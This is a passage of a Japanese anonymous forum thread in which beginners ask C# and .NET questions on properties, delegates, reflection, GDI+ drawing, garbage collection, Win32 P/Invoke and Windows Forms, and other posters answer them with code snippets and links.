とやっても、文としては正しいと認識されます
と、書こうとして、C#でやったら、意味が無いって怒られました。
さすがにチェックすることにしたみたいですね。
0192デフォルトの名無しさん
NGNG上の場合、publicだから外からどんな値が来るかわかりません。
hogeに値が代入された時に、hogeが正しい値かどうかを調べるにはどうしたらいいんですか
0193デフォルトの名無しさん
NGNGプロパティにしてsetアクセサの中でチェックする。
つかまさにそのためにプロパティがあるんだが。
0194デフォルトの名無しさん
NGNG0195デフォルトの名無しさん
NGNGみたいにすればいいんですね。なるほど
0196デフォルトの名無しさん
NGNG0197デフォルトの名無しさん
NGNGpublic int hoge {
set {
if (1 <= value && value <= 100)
hoge = value;
else
throw new ArgumentOutOfRangeException();
}
}
ちょっと無理っぽいが、通るのか?
0198デフォルトの名無しさん
NGNG0199デフォルトの名無しさん
NGNG自分で作って確かめろ、タコ
0200デフォルトの名無しさん
NGNGなんで?
0201198
NGNGGDIはBitbltで
GDI+はGraphics.DrawImageで
確かめて良いですか?
0202デフォルトの名無しさん
NGNG0203デフォルトの名無しさん
NGNG参考になるHPや良い方法があったら教えてください。
例えば、正規分布関数のクラスが、以下のように存在していて
public class DistributionFunctions
{
public static dobule Normal( double x , double a , double v )
{
return 1.0 / Math.Sqrt( 2 * Math.PI * v ) * Math.Exp( -(x-a)*(x-a)/( 2 * v ) ) ;
}
...
}
やりたい事は、
delegate double DoubleToDoubleDelegate( double x ) ;
public class DistributionDelegates
{
static DoubleToDoubleDelegate MakeNormal( double a , double v )
{
ここに手際よく大量生産できるコード
}
}
使い方は
void hogehogeMethod()
{
DoubleToDoubleDelegate df = MakeNormal( 0.0 , 1.0 ) ;
y = df( 0.0 ) ;// ここで y = Normal( x , 0.0 , 1.0 ) が呼び出される
}
0204デフォルトの名無しさん
NGNGよくわからんけど、こんなこと↓がしたいの?
using System;
public class DistributionFunctions {
double a;
double v;
public DistributionFunctions(double x, double y){
a = x;
v = y;
}
public double Normal( double x )
{
return 1.0 / Math.Sqrt( 2 * Math.PI * v ) * Math.Exp( -(x-a)*(x-a)/( 2 * v ) ) ;
}
}
delegate double DoubleToDoubleDelegate( double x );
class Hoge {
static DoubleToDoubleDelegate MakeNormal( double a , double v ) {
//ここに手際よく大量生産できるコード
DistributionFunctions f = new DistributionFunctions(a, v);
return new DoubleToDoubleDelegate(f.Normal);
}
static void Main() {
DoubleToDoubleDelegate df = MakeNormal( 0.0 , 1.0 ) ;
double y = df( 0.0 ) ;// ここで y = Normal( x , 0.0 , 1.0 ) が呼び出される
Console.WriteLine("y = {0}", y);
}
}
0205204
NGNGの{の前に全角スペースが入ってた。。。鬱
0206デフォルトの名無しさん
NGNG0207デフォルトの名無しさん
NGNG方法は問わないんですが、そうです、そんな感じです。
そこで、関数の引数を確保するクラスを作る必要がありますよね。
関数の数が多くて、これを全部自動生成してしまいたいんです。
0208204
NGNG> そこで、関数の引数を確保するクラスを作る必要がありますよね。
> 関数の数が多くて、これを全部自動生成してしまいたいんです。
204の例を使っても、好きなだけ関数は作れるけど。。。↓こういうことではない?
static void Main()
{
double d1 = 1.0; // 数字は適当
double d2 = 1.0; // 数字は適当
DoubleToDoubleDelegate[,] df = new DoubleToDoubleDelegate[10,10];
for(int i=0; i < 10; i++, d1 += 0.2){
for(int j=0; j < 10; j++, d2 += 0.2){
df[i,j] = MakeNormal( d1, d2);
}
}
for(int i=0; i < 10; i++){
for(int j=0; j < 10; j++){
double y = df[i,j]( 0.0 ) ;
Console.WriteLine("y = {0}", y);
}
}
}
0209デフォルトの名無しさん
NGNGども、お手数掛けてすみません。
対象となる関数は、正規分布関数のようにパラメータ二つだけとは限りませんし、
今後、多変数に対応するにあたって、このまま場当なやり方で行きますとプログラムの保守が危機的になると考え
第一段階として、現在はC#のソースコードを自動生成するプログラムを作って対応しています。
しかし、これも必ずしも良い方法とも言えず、もっと効率的にプログラムできる方法として、
色々探している内にリフレクションという物を使ってみようかと考えていました。
さっそく始めてみたのですが、これがチュートリアルの良いページがなかなか見つからなくて・・・・
ちなみに僕自身、ここに書き込む前に色々考えたのですが、
一般的なC#の構文を使った範囲内ではおそらく良い解決方法はないだろうというのが結論でした。
0210デフォルトの名無しさん
NGNGC#でデータベースに関することを勉強しています。
ボタンを押すとアクセスに「123」というデータを追加するプログラムを書いています。
壁にぶつかりましたので、ご指導していただけませんか。
odbcDataAdapter1などの設定し、以下のボタンの内容を書きました。
odbcConnection1.Open();
odbcDataAdapter1.InsertCommand.Parameters["@ab"].Value="123";
odbcDataAdapter1.InsertCommand.ExecuteNonQuery();
odbcDataAdapter1.Fill(dataSet11);
odbcConnection1.Close();
すると
'System.IndexOutOfRangeException' のハンドルされていない例外が
system.data.dll で発生しました。
0211デフォルトの名無しさん
NGNG> 今後、多変数に対応するにあたって、このまま場当なやり方で行きますとプログラムの保守が危機的になると考え
> 第一段階として、現在はC#のソースコードを自動生成するプログラムを作って対応しています。
これが結構まっとうな方法な気もしますが。。。
もしかして、パラメータが変わるだけではなく、どんな関数を作るかは
あらかじめ決まってない、ってことですか?
C++でいえば、boost::lambdaみたいなことをしたいのかなぁ?
> しかし、これも必ずしも良い方法とも言えず、もっと効率的にプログラムできる方法として、
> 色々探している内にリフレクションという物を使ってみようかと考えていました。
リフレクションで出来るかどうかはわかりませんが、一応参考に。
http://members.jcom.home.ne.jp/1213687801/cs/reflection/reflection4.html
http://www.microsoft.com/japan/msdn/library/default.asp?url=/japan/msdn/library/ja/cpref/html/frlrfsystemreflectionemittypebuilderclasstopic.asp
0212デフォルトの名無しさん
NGNGここにある例が参考になりませんかね。
http://www.microsoft.com/japan/msdn/library/default.asp?url=/japan/msdn/library/ja/cpref/html/frlrfsystemdatasqlclientsqldataadapterclassinsertcommandtopic.asp
0213デフォルトの名無しさん
NGNG0214デフォルトの名無しさん
NGNG例えば、オセロプログラムを考えるとします。
オセロのマスの部分にButtonから継承したクラスMasuを使います。
Masuを8*8個集めた配列をBoardとします。
オセロゲーム ━━ Board (集約する)━━ Masu という風になっていますが、
Masuがクリックされた時に 隣のマスをひっくり返すかどうか走査するとしても、
Masuからは隣のMasuなんて分かりませんよね?
だからBoardに頼んで調べてもらいたいわけですが
どうやったらそうできるのかがわからないです。どうしたらいいのですか?
0215デフォルトの名無しさん
NGNGO クラスBoard
でした
0216デフォルトの名無しさん
NGNGMasu に必要な機能は、
・そのマスの内容を保持
・画面に描画する
・クリックされたことを、Board に通知する
の3つでいいんじゃない?
ひっくり返すのは、Board でやればいい。
0217デフォルトの名無しさん
NGNGその三番目のboardに通知する方法が分からんですよ。
0218デフォルトの名無しさん
NGNGClickイベント。
0219デフォルトの名無しさん
NGNGboardのメソッドの引数に自分を渡せばいい。
0220デフォルトの名無しさん
NGNGもっと
PlayerとかTurnMasterとかJudgeとかつくれや。Masuはいらん
0221デフォルトの名無しさん
NGNG高度すぎ。質問者をみて答えてやれよ。
0222デフォルトの名無しさん
NGNG書き込んだ後そう思った.すいません。
Masu作るときにボードを引数で渡してそれ使う.それかイベント
0223デフォルトの名無しさん
NGNGvoid Hoge( params object [] arg )
の ref バージョンで
void Hoge( ref object arg0 , ref object arg1 , ref object arg2 ... ) ;
の様な物。
必要個数分オーバーロードするしかないかな?
0224デフォルトの名無しさん
NGNG以下のような Panel を継承したクラスをつくりました。
public class PanelEx : System.Windows.Forms.Panel
{
public PanelEx() { }
protected override void OnPaint(PaintEventArgs e)
{
base.OnPaint (e);
Pen p = new Pen(Color.Black, 1);
e.Graphics.DrawRectangle(p, this.ClientRectangle);
p.Dispose();
}
}
この PanelEX クラスのインスタンスを、普通に Form1 の
コンストラクタ内で生成したところ、画面には PanelEx の
左側と上側にしか線がひかれません。
なぜでしょうか?また、どうすればちゃんと矩形が描かれますか?
0225デフォルトの名無しさん
NGNGはみ出て見えないので矩形を小さく、例えば幅と高さを-1にしたりする。
0226224
NGNGええええー。なぜそんな仕様になってるんでしょうか?
0227デフォルトの名無しさん
NGNG厨避けの為。
0228デフォルトの名無しさん
NGNG別におかしくないよ。
http://www.microsoft.com/japan/msdn/library/ja/jpdnprogwincsharp/htm/chapter15.asp?frame=true
0229デフォルトの名無しさん
NGNGウヒャー
220さんの高度な設計だと、どんな風になるんですか?
コードをつけながら説明してほしい・・・
0230デフォルトの名無しさん
NGNG高度
コード
!?
0231デフォルトの名無しさん
NGNGint i = Console.Read();
Console.WriteLine(i);
これでたとえば「2」を入力すると出力が「50」なんてなるんですが、なぜなのでしょうか?
0232デフォルトの名無しさん
NGNGコンピュータの中では、「文字」ってのは一定のルールで数字の列に変換されて扱われてます。
このルールのことをエンコーディング、数字(の列)のことを文字コードと呼んだりします。
んで、文字の "2" に対応するコードが 50 (16進数で 0x32) なわけです。
ファイルやネットワーク等での読み書きは、byte の列を使って行われるのが基本で、
.Net Framework で文字列からこのバイト列に(またはその逆に)変換するには、
Encoding クラス(のインスタンス)を用います。
0233デフォルトの名無しさん
NGNG"2"という文字列から、数字の 2 に変換するには、Int32.Parse() などを使います。
0235デフォルトの名無しさん
NGNG0236デフォルトの名無しさん
NGNGchar c = (char)Console.Read();
とすれば、そのまま表示できまっせ。MSDNだとintを返すことになってるから
まぎわらしいんだけどね。
0237デフォルトの名無しさん
NGNG今画像のサムネイル保存用に複数画像をまとめてひとつの
ファイルにしようとしています。
Aファイルサイズ・Aファイル・Bファイルサイズ・Bファイル・・・
みたいな感じ合成し、インデックスで呼び出そうかと思っています。
で、ふと思ったのですが、そういう複数のファイルをまとめてしまう
クラスって既にあったりするのでしょうか。
よろしければお教えください。よろしくお願いいたします。
0238デフォルトの名無しさん
NGNGBitmap imageB = new Bitmap("B.bmp");
Bitmap imageC = new Bitmap("C.bmp");
Bitmap bmp = new Bitmap(300, 100);
Graphics g = Graphics.FromImage(bmp);
g.DrawImage(imageA, 0, 0);
g.DrawImage(imageB, 100, 0);
g.DrawImage(imageC, 200, 0);
g.Dispose();
bmp.Save("ABC.bmp");
bmp.Dispose();
imageA.Dispose();
imageB.Dispose();
imageC.Dispose();
0239デフォルトの名無しさん
NGNGHash的に名前で簡単にストリームを取り出せるような
仕組みが既存クラスにないかなーとか思っていたのでした。
やはり頑張って自分で実装してみます。
ありがとうございました。
0240デフォルトの名無しさん
NGNG0241デフォルトの名無しさん
NGNGなるほど!
早速やってみます。
ありがとうございました!
0242デフォルトの名無しさん
NGNGVS.NET2003に反映されないのです。
なんでなんでしょう・・・そういう方他にいますか?
0243最凶VB厨房
NGNG0245最凶VB厨房
NGNGまっわからんけど
0246デフォルトの名無しさん
NGNGフィルタか?
0247242
NGNGフィルタもなしになってます。
本来ならVS.NET起動時に「ヘルプを反映中・・」とかでますよね?
0248242
NGNGお騒がせしました。(・∀・)
0249デフォルトの名無しさん
NGNGDirectX9 SDK Summer2004の日本語ドキュメントってもう出てたの?
0250デフォルトの名無しさん
NGNG変な書き方しちゃいましたね。
2004入れてから日本語ドキュメント入れたら〜でした。スマソ
0251デフォルトの名無しさん
NGNGusing HANDLE=System.IntPtr;using LPVOID=System.IntPtr;using SIZE_T=System.UInt32;using DWORD=System.UInt32;
class CMyApp:System.Windows.Forms.Form
{
[System.Runtime.InteropServices.DllImportAttribute("kernel32")]
static extern LPVOID VirtualAllocEx(HANDLE hProcess,LPVOID lpAddress,SIZE_T dwSize,DWORD flAllocationType,DWORD flProtect);
DWORD PAGE_READWRITE=0x04;
DWORD MEM_COMMIT= 0x1000;
static void Main()
{
System.Windows.Forms.Application.Run(new CMyApp());
}
CMyApp()
{
this.Click+=new System.EventHandler(OnClick);
}
void OnClick(object sender,System.EventArgs e)
{
LPVOID 自分側の領域=VirtualAllocEx(System.Diagnostics.Process.GetCurrentProcess().Handle,(LPVOID)0,(DWORD)System.Runtime.InteropServices.Marshal.SizeOf(typeof(System.TimeSpan)),MEM_COMMIT,PAGE_READWRITE);
LPVOID 他人側の領域=new LPVOID();
foreach(System.Diagnostics.Process inc in System.Diagnostics.Process.GetProcesses())
if("Explorer"==inc.ProcessName)
他人側の領域=VirtualAllocEx(inc.Handle,(LPVOID)0,(DWORD)System.Runtime.InteropServices.Marshal.SizeOf(typeof(System.TimeSpan)),MEM_COMMIT,PAGE_READWRITE);
System.Runtime.InteropServices.Marshal.PtrToStructure(自分側の領域,typeof(System.TimeSpan));//自分側の領域では例外は発生しない
System.Windows.Forms.MessageBox.Show("次で例外発生");
System.Runtime.InteropServices.Marshal.PtrToStructure(他人側の領域,typeof(System.TimeSpan));
}
}
0252デフォルトの名無しさん
NGNG非Managedなプロセス空間にManagedな構造体を確保する意味がさっぱりわからないんだが。
ttp://dotnetjunkies.com/WebLog/chris.taylor/archive/2004/05/31/14828.aspx
とりあえず外部プロセスへのちょっかいの参照。
0253251
NGNGこれをやりたい理由は、興味本位で出来るかどうか試したかっただけです。
とりあえず上のURLをよく読んで見ます。
0254デフォルトの名無しさん
NGNGどっち使ってる?
JavaのGUIのリスナーみたいなケースなら、デリゲートの
方が何もしないメソッドまで記述しなくて済むし効率いいかな。
0255デフォルトの名無しさん
NGNG俺は Java 出身だから、ある程度一まとまりの処理をくっつけるならインターフェイス使っている
デリゲートは纏まり間が無くて、単体なら遣いやすいけど微妙
0256デフォルトの名無しさん
NGNG0257デフォルトの名無しさん
NGNGデリゲートにしておくのが無難なのでは。
0258デフォルトの名無しさん
NGNG各ドライブのボリュームラベルを取得するのってどうやるんだべさ?
なんかAPI叩くしかなかったら非常に鬱なので教えてエロイ人!
0259デフォルトの名無しさん
NGNGDriveInfo.VolumeLabel かな。
…… .NET Framework 2.0 だけど。
0260デフォルトの名無しさん
NGNG0261デフォルトの名無しさん
NGNGやっぱ2.0になっちまうのか・・・。
何故こんな基本的なもんが実装されてないんだと小一(ry
0262デフォルトの名無しさん
NGNGextern static bool GetVolumeInformation(
string RootPathName,
StringBuilder VolumeNameBuffer,
int VolumeNameSize,
out uint VolumeSerialNumber,
out uint MaximumComponentLength,
out uint FileSystemFlags,
StringBuilder FileSystemNameBuffer,
int nFileSystemNameSize);
0263デフォルトの名無しさん
NGNGトンクスエロイ人!
やっぱこうやるか・・・。なんだかなぁ・・・
0264デフォルトの名無しさん
NGNGこの64という制限は何によってかかっているでしょうか。
100に変更したりとかできないでしょうか。
0265デフォルトの名無しさん
NGNGMyButtons[,] = new Button[3,5];
のように宣言されていて、forの二重ループの中で初期化して
MyButtons[i,j].Click += new EventHandler(MyButtons_Click);
みたいにしてみましたが、MyButtons_Clickの引数には別に「MyButtonsの何番目か」は渡されません。
どうしたらいいんですか
0266デフォルトの名無しさん
NGNGボタンの番号が固定のものなら、Button.Tag あたりに番号を押し込めておけば良いのでは?
0267デフォルトの名無しさん
NGNGなんとかなりませんかねえ
0268デフォルトの名無しさん
NGNG???
だからTagにint[]{2, 1}とかいれとけばいいんじゃないの?
それがまずいというのならもっとわかりやすく説明してくれないと何がなにやら。
0269デフォルトの名無しさん
NGNGあ、いま意味が分かりましたサンクス
0270デフォルトの名無しさん
NGNG普通に1000とかできるじゃん……と思ったら.NET Framework2.0だった。
1.1の制限のようだ。
0271デフォルトの名無しさん
NGNGOS の制限。WaitForMultipleObjects() できる最大数が64だから。
2.0 で表面的な制限は外れても、64を超えると効率は落ちる気がする。
0272デフォルトの名無しさん
NGNGでも64周辺の境界は見あたらなかった。
ついでに1.0/1.1/2.0bも比較してみた。(スコアは低い方が優秀)
10でスコア 410 / 370 / 250
25でスコア 320 / 300 / 230
40でスコア 325 / 320 / 250
64でスコア 370 / 370 / 300
有意の差があるね。
1.1までとは違う機構を利用してたりするんじゃないかってくらい2.0は早い。
数が少ない時と多い時のスコアの分布とか。
0273デフォルトの名無しさん
NGNGABC | DEF | GHI
JKL | MNO | PQR
STU | VWX | YZA
BCD | EFG | HIJ
こういう表の MNOとVWXだけ範囲指定させるみたいなことはできますか?
0274264
NGNG環境も書き忘れたのに本当にありがとうございます。
しかもWaitForMultipleObjectsとの関連、
ベンチまでしていただいてとても参考になりました。
0275デフォルトの名無しさん
NGNGAObject obj1 = obj2.Clone();
ってすればいいんだろうけど、
Cloneを書くときにCのmemcpyみたいなことってできないんでしょうか?
それともいちいちフィールド一つずつ代入?
0276デフォルトの名無しさん
NGNG0278デフォルトの名無しさん
NGNGPoint aaa = new Point(0,0);
aaa = new Point(1,1);
aaa = new Point(2,2)
とかしても大丈夫?
0279デフォルトの名無しさん
NGNGint a = 0;
a = 1;
a = 2;
とやることにためらいを覚える?
0280デフォルトの名無しさん
NGNGp = malloc(100);
p = malloc(100);
とやることにはためらいを覚える。
0281275
NGNG正しいクラスはDisposeを持つべきってことか?
自前のやつも?
0282デフォルトの名無しさん
NGNGもうちょっとGCを信用しようや。
Disposeが必要なのは基本的にUnmanagedなリソースを扱うクラスのみ。
0283デフォルトの名無しさん
NGNGなんか「ゴミをゴミ箱に捨てると清掃員の仕事が減ってリストラされるから、ゴミは道に捨てるべき」とか言ってるみたい
0284デフォルトの名無しさん
NGNGでも
道に捨てない −> 清掃員の仕事が減ってリストラ −> ごみを捨て忘れても綺麗にならない
だから道に捨てるんだ。
0285デフォルトの名無しさん
NGNGツール(T)→webページのビルドコメント(B)
でドキュメントを作成したところ、「コード要素ページ operator + が不完全です。 」というエラーが取り除けなくて困っています。
だれか理由が分る人いますか?
以下問題のコードです。
/// <summary>テスト</summary>
public class Test
{
/// <summary>足し算</summary>
/// <param name="a">引数その1</param>
/// <param name="b">引数その2</param>
/// <returns>結果</returns>
public static Test operator + ( Test a , Test b ) { return null ; }
}
>>282
Unmanagedというより、IO関連とかメモリーと連携するわけにはいかないオブジェクトが実装する必要があるのでは?
OSのリソースはメモリーのようにいつでも解放できるリソースばかりではありませんから、そのようなリソースを握るオブジェクトには必然的に必要になります。
参照先がなくなった瞬間に即時開放されるタイプのクラスが定義できると、こんな面倒な事をしなくてすむんですが……
と、C++でスマートポインタを使っていると切に欲しくなる事があったりします。
0286デフォルトの名無しさん
NGNGまあ、>>285のように思う事はない事もない。
0287デフォルトの名無しさん
NGNGDisposeを実装すべきである事が多い。
単に使用終了と言う意味合いだけなら、何もする必要なし。
※Dispose実装したところでする事は何もない。
メモリに関しちゃほっとけばいいってのがGCのある環境での基本。
0288デフォルトの名無しさん
NGNG0289デフォルトの名無しさん
NGNGまあ、>>285の言うようなスマートポインタみたいな物っていっても、
結局直接参照しか扱えないため、包含するクラスは全部そのタイプにしなけりゃ
意味がなかったりして、結局大げさになりすぎてうまくいかないかな。
GCとは相性が悪いね。
0290デフォルトの名無しさん
NGNGダイアログを作りたいのだが,ここにいる諸氏ならばどのようにして実現するか,
意見をお聞きしたい.
0291デフォルトの名無しさん
NGNG0292デフォルトの名無しさん
NGNG他にもあるけど
窓の杜 - 【NEWS】米MS提供の.NET開発向けカスタムコントロール集「Visual Basic Power Pack」
http://www.forest.impress.co.jp/article/2004/06/24/vbpowerpack.html
0294デフォルトの名無しさん
NGNG一度全て読み込んだ後削除して上書きしか思いつかなくて。。。
消した後、そのファイルに追加を行うので、
消したい部分のみ上書きする方法でもいいのですが。。。
0295デフォルトの名無しさん
NGNG上書きなら難しいことでもないけど。
int b = 5;
FileStream fs = new FileStream("hoge.txt", FileMode.Open, FileAcceess.ReadWrite);
fs.Position = fs.Length - b;
StreamWriter sw = new StreamWriter(fs);
以下略
0297デフォルトの名無しさん
NGNGそっか Mamko に、だしておいた Seishi をぶち込めばよかったのか
ありがとうございますそれで子供できそうです
0298デフォルトの名無しさん
NGNG0299デフォルトの名無しさん
NGNGUSBマウスとUSBトラックボールをつなげています。こららの移動情報を個別に取得したいと思います。
どうすれば、よいでしょうか?宜しくお願いしまう。
0300デフォルトの名無しさん
NGNG.NET Frameworkのライブラリじゃ不可能。
Raw Input APIを使う必要がある。
参考:ttp://www.hatena.ne.jp/1085972533
0301デフォルトの名無しさん
NGNG0302デフォルトの名無しさん
NGNG使用したいのですが、いい方法はないでしょうか。
なお、今のところ、同一のアイコンファイルを
コンパイルオプションの「/win32icon」、「/resource」の双方を
使って実行ファイルに取り込んでいます。
0303デフォルトの名無しさん
NGNG/win32icon は API の ExtractIcon/ExtractIconEx で取り出せる。
0304デフォルトの名無しさん
NGNGライブラリのやつとかいちいちマニュアル見るの面倒なんだが。
0305デフォルトの名無しさん
NGNGVS使ってるならnewのインテリセンスとか。
あんまりclassかstructかを見分ける必要なぞ感じたことがないしな。
0306デフォルトの名無しさん
NGNGMultiColumnではなくて、ひとつの項目を二つの列に分けて表示したいんです。
具体的に何をしたいかというと、エラーの内容と発生時刻を表示したいんですが、
発生時刻を左側に、エラーの内容を右側にわけてリストボックスに表示したいんです。
日付は必ず1行ですがエラーの内容は複数行になる可能性があるので、
文字数揃えて表示・・とかよりも縦に二つに割れたら楽だと思うんですけど、どうやってやるのかさっぱりです。
ListBoxで実現するには、あるいはほかのコントロールで実現するにはどうすればいいんでしょうか。
0307デフォルトの名無しさん
NGNGちゃんと読んではいないけどGoogleのイメージ検索で引っかかったこれはどうだろう。
ttp://www.codeproject.com/cs/combobox/resizablelistbox.asp
//私ならListViewを使うかな……?
0308デフォルトの名無しさん
NGNG0309デフォルトの名無しさん
NGNGめんどくさくね?
0310デフォルトの名無しさん
NGNG0312デフォルトの名無しさん
NGNG早過ぎる最適化は諸悪の(少なくとも大半の悪の)根源なり -- DEK
0313デフォルトの名無しさん
NGNG0314313
NGNG0315デフォルトの名無しさん
NGNGboxing と unboxing でドツボにはまるぞ。
値型と参照型の違いは押さえておいた方が良い。
0316デフォルトの名無しさん
NGNGstruct を lock () して排他したつもり、とか。
0317デフォルトの名無しさん
NGNG0318デフォルトの名無しさん
NGNGCTRL+Z や CTRL+C/V/X を実現するには自分でコードを書かないといけないのでしょうか?
0319デフォルトの名無しさん
NGNGまず試せ。
0320デフォルトの名無しさん
NGNGデザイナのプロパティウィンドウには表示されませんね。
基底クラス(Windows.Form)に加えたプロパティは
派生クラス(Windows.Form)のデザイナに反映される
みたいだけど、自分自身ならなぜだめなのかなぁ。
0321デフォルトの名無しさん
NGNGまったく同じレスをどこかで見たなぁ。
0322デフォルトの名無しさん
NGNG俺も見た記憶があるので探してみた
http://pc5.2ch.net/test/read.cgi/tech/1045307942/294
0325デフォルトの名無しさん
NGNG1,1 - 1,2まで幅1の線を引くと、どうも2pxくらい線が引かれちゃうし
1,1 - 1,1にすると線ができないんです。
0326デフォルトの名無しさん
NGNGBitmap に SetPixel で点を描いて、Graphics.DrawImage で画面に描写。
0327デフォルトの名無しさん
NGNGFillRectangle(DrawRectangleは不可)で幅・高さ1の四角を描画。
Graphics.GetHwndで取得したデバイスコンテキストにWin32APIのSetPixelで描画。
……元画像のビットマップを取得できるならBitmap.SetPixelが一番手っ取り早い/速いんだけどねー。
0328デフォルトの名無しさん
NGNG点を描画するGraphicsクラスのメソッドはないみたいなんだよね
結局SetPixelで妥協したけど、
Graphicsオブジェクトを使って描画を行うというルールから離れるからあんまりやりたくない
0329デフォルトの名無しさん
NGNG//user32.dllのAPIをまとめたクラスを最近作ってるからhwndまみれでつい。
0330デフォルトの名無しさん
NGNGGraphics はベクタ形式を含む一般的なグラフィックを扱うクラスだから、“点”という概念がないのよね。
数学的には、点は半径が無限小の円と等価な存在で、半径0の円は画面に表示できないから。
点、というか、ピクセル単位の処理がしたければビットマップを使えと。
Graphics に元画像のビットマップを取得するメソッドがないのは、
将来的に(Avalon で)、OS 自体をベクタ画像ベースで動くものにするつもりでいるからじゃないかな。
0331デフォルトの名無しさん
NGNG目から鱗
0332デフォルトの名無しさん
NGNGの記事をみてSQL Server 2000を使ってみようと思い立ったんですが、
とりあえず http://www.microsoft.com/japan/sql/evaluation/trial/2000/ をインストールして
みたのですが、ヘルプをみても使い方がサッパリ分りません。
インストールするとタスクトレイにDBのアイコンがでますが、これのサービスをスタートしようとすると
エラー1069(ログオンに失敗したため、サービスを開始できませんでした)となってしまいます。
これってまず何をすればいいんでしょうか?
0333デフォルトの名無しさん
NGNGhttp://mobiquitous.com/programming/ietoolbar.html
これを使って、IEツールバーのボタンが押されたらあるページがIEに表示されるように
したいのですが、どうすればIEを操作できるのか見当がつきません。
何か関連ありそうなキーワードがあれば教えてください。よろしくお願いします。
0334デフォルトの名無しさん
NGNGSite もしくは Site の IServiceProvider 経由で IID_IWebBrowser もしくはIID_IWebBrowserAppを
得て Navigate すればいいんじゃない?
0336デフォルトの名無しさん
NGNGApplication.Run の前に CreateControl して Hide して、Visible を false にしてもなぜか表示されてしまいます・・・
0337デフォルトの名無しさん
NGNGttp://www.microsoft.com/japan/msdn/library/default.asp?url=/japan/msdn/library/ja/vbcon/html/vbtsksettingformtobeinvisibleatitsinception.asp
個人的にはApplication.Run()でやることが多いけど。
0338デフォルトの名無しさん
NGNGこれだと確かに表示はされないけれども、Load イベントも上がらないし・・・
普通の Win32 アプリでいう WS_VISIBLE でない状態でウィンドウそのものは作りたい、
というような状況なのです。CreateSuruct でも override してみるかなぁ。
0339デフォルトの名無しさん
NGNGForm の Load イベントで this.Hide() しても this.Visible = false; してもダメ、
Application.Run を Form.ShowDialog にしてもダメ。
(関係ないけどRun の代わりに ShowDialog 使うと Dialog 終了後のメッセージが処理されないので
表示した NotifyIcon を Form が Close される前に消さないとゴミが残る・・・)
VisibleChanged イベントのハンドラで Hide すると何とか消えるけど、一瞬表示されるのでちらつきます。
タスクトレイにいきなり常駐するユーティリティとかどうやってみんな作ってるんだろう。
0340デフォルトの名無しさん
NGNG> タスクトレイにいきなり常駐するユーティリティとかどうやってみんな作ってるんだろう。
NotifyIconとかを管理するクラスを作り、その中のContextMenuでフォームのShow/Hideを扱う。
メッセージループはApplication.Run()でメインウィンドウを持たせずに開始する。
0341デフォルトの名無しさん
NGNGできました!ありがとうございます。
0342デフォルトの名無しさん
NGNG(Sleep中または別スレッドが走っている時はカウントしない)
そういうクラス知っている人いますか?
0343デフォルトの名無しさん
NGNG返り値がobject配列なのですが、どうすれば各要素にアクセス可能になるでしょうか。
単に返り値をobjectとして取得することはできたのですが、その後が分かりません・・
0344デフォルトの名無しさん
NGNG言ってる意味がよくわからない。
もうちょっと具体的に。
0345デフォルトの名無しさん
NGNGこうしたかっただけです。
obj = type.InvokeMember("array", BindingFlags.GetProperty, null, doc, new object[] {2});
* これで二番目の要素をゲット
お騒がせしました。
0346デフォルトの名無しさん
NGNGこれをdisposeせずに、また
bmp=new Bitmap(filename2);
を呼び出したらメモリー減って行きますか?
それとも、同じ変数のメモリー番地に上書きされるだけですか?
0347デフォルトの名無しさん
NGNGもちろん新しいメモリが確保される。
インスタンスのサイズが違うかも知れないのに上書きしちゃまずいだろ。
0348デフォルトの名無しさん
NGNGそれなら上書きされるが。
つかそんなことに頭を悩ます意味は全くないが。
あとそれとDisposeとは何の関係もない。
0349デフォルトの名無しさん
NGNG>って、参照先じゃなくて変数そのもののアドレスか?
>それなら上書きされるが。
という事は、前の画像データが消えて新しい画像データに上書きされるって事ですよね?
0350デフォルトの名無しさん
NGNG画像データとか言わずBitmapインスタンスと言おうな、こういう場合。
まあ、そんな感じ。
細かく言うなら、「変数が示す参照先が書き変わる」。
変数が、古いインスタンスを丸めてポイして、新しいインスタンスにべったりくっつくわけだ。
//丸めてポイされたインスタンスはいずれGCが片づける。
0351346
NGNG0352デフォルトの名無しさん
NGNG>>350の書いてる内容は間違っちゃいないんだけど、
読み方によっては>>346が誤解してしまうように思う。
依然
>という事は、前の画像データが消えて新しい画像データに上書きされるって事ですよね?
のように言ってるからね…
まあ画像データが上書きされるってのを、プログラム上からはというか、
プログラムでの操作上はそのように見えるってだけの意味で言ってるのなら大丈夫かもしれんが…
0353デフォルトの名無しさん
NGNG上書きはされないよ。例えば、
Bitmap bmp = Bitmap(file1);
aForm.BackgroundImage = bmp;
なんてしておいて、後で
bmp = Bitmap(file2)
なんてやってもフォームの背景は変わらない。
前の画像は前の画像、新しい画像は新しい画像、お互いなんの関係もない。
0354デフォルトの名無しさん
NGNG0355デフォルトの名無しさん
NGNGとってないよ。だから Dispose なんかしちゃだめだよ。
0356デフォルトの名無しさん
NGNG0357デフォルトの名無しさん
NGNGコールバックもしくはなんだかの形でフックを掛けることはできないか知っている人いませんか?
0358在日参政権反対
NGNG単純にメソッド余分じゃ駄目なの?他のスレッドに何かさせたいんでしょうか?ならイベントとか?
0359デフォルトの名無しさん
NGNGシステム側でスレッドが切り替えられたときにも引っ掛けないとパフォーマンスが計れないです。
0360在日参政権反対
NGNG0361デフォルトの名無しさん
NGNGプログラミング自体初心者なのですが、
VisualStudioC#で作ったプログラムの
テキストボックスの中でバックスペースが効きません。
これってなんとかならないものでしょうか。
0362デフォルトの名無しさん
NGNG0363デフォルトの名無しさん
NGNGテキストボックスでバックスペースキーを認識する方法を探しています。
0364デフォルトの名無しさん
NGNGコード上で変なことをしてるかキーボード補助系のなんかのアプリを使ってるか、果てしなく環境依存な話になるし。
そもそもTextBoxはWindowsの標準エディットコントロールをラップしてるだけだしなぁ。
0365教えてください
NGNGナンバーズ予想ソフトをVC#で作りたいと思っています。
Winアプリで、ナンバーズとか株の最新データを取得してくるソフトが
ありますが、あれってどのような仕組みでやっているのですか?
何か参考になるサイトや書籍などあれば教えてください。
0366デフォルトの名無しさん
NGNG1.サイトからHTML(など?)をダウンロードする
2.ダウンロードしたHTML(など?)からナンバーズのデータを取得
3.取得したデータから、予想する
大雑把にこんな感じでやればいいのでは。
0367在日外国人参政権反対
NGNG0368365
NGNGということは、まずHTMLのソースを元に配列化して、データを取得するということでしょうか?
取得の仕方だけが分からないんで・・・
0369デフォルトの名無しさん
NGNG0370366
NGNGそれは各自の工夫です。そんな甘いものではないはず。
まあヒントを。HTMLをダウンロードすることを前提に話すけど。
ダウンロードしたHTMLのうち、必要なデータがある場所というのはサイトの構成が変わらなければいつも同じなはず。
